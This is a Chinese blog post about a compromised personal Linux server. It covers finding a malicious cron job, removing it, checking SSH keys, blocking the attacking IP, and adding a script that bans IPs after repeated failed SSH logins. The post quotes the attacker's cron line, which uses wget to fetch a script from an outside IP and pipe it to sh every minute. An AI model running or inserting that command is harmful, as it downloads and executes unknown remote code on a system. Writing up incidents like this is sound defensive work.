服务器被执行恶意脚本代码

个人服务器报警了好几次
服务器被执行恶意脚本代码_第1张图片
查了一下这个IP是来自于俄罗斯 莫斯科的
服务器被执行恶意脚本代码_第2张图片

先查看定时任务:

crontab -l

结果发现了以下内容

10 20 * * * sh /dangle/stop.sh
30 18 * * * sh /dangle/app.sh
* * * * * wget -q -O - http://185.122.204.197/sc.sh | sh > /dev/null 2>&1

前两个是我自己的定时任务,最后一条就是服务器执行恶意脚本的定时任务命令

所以我们要删除这个第三条定时任务,可以使用

 crontab -e

命令 删除。

再查看一下 ~/.ssh 下的key,
服务器被执行恶意脚本代码_第3张图片
我这个是里面没内容,有的被入侵之后,会在此留下公钥,
之前没创建过这个的可以直接执行删除命令

rm -f authorized_keys

至此这个问题算是解决了。

=分界线 --以下是增加服务器安全策略 (建议跟着操作一下,提高服务器的安全性)

不知道他怎么攻进来的,安全咱也不咋懂,二话不说先把这个ip加到服务器黑名单

vim /etc/hosts.deny

写入格式 :sshd:ip:deny
如:

sshd:185.122.204.197:deny

服务器被执行恶意脚本代码_第4张图片

还是服务器安全不到位才被黑客钻了漏洞,为防止别人用密码本暴力破解可以先把自己的密码设置复杂点,什么大小写字母各种特殊字符都怼上,有多复杂就设置多发杂。

更安全起见,可以再写个脚本定时执行扫描一次,设置登录10次失败即加入ip黑名单防止暴力破解,具体做法如下:

1、编辑脚本

vim /usr/local/bin/secure_ssh.sh

写入以下代码:

#! /bin/bash
cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}' > /usr/local/bin/black.txt
for i in `cat  /usr/local/bin/black.txt`
do
  IP=`echo $i |awk -F= '{print $1}'`
  NUM=`echo $i|awk -F= '{print $2}'`
   if [ $NUM -gt 10 ];then
      grep $IP /etc/hosts.deny > /dev/null
    if [ $? -gt 0 ];then
      echo "sshd:$IP:deny" >> /etc/hosts.deny
    fi
  fi
done

2、创建记录登录失败次数的文件

touch /usr/local/bin/black.txt

3、添加定时 10分钟执行一次

没有安装 crontabs服务的可以先安装一下

yum install crontabs
systemctl enable crond
systemctl start crond

设置用户自定义定时任务

vi /etc/crontab

写入以下定时任务

*/10 * * * * root  sh /usr/local/bin/secure_ssh.sh

服务器被执行恶意脚本代码_第5张图片
保存退出即可。
这样几步折腾一下,服务器安全级别就高了很多。

你可能感兴趣的:(Linux,服务器,运维,服务器安全,恶意脚本)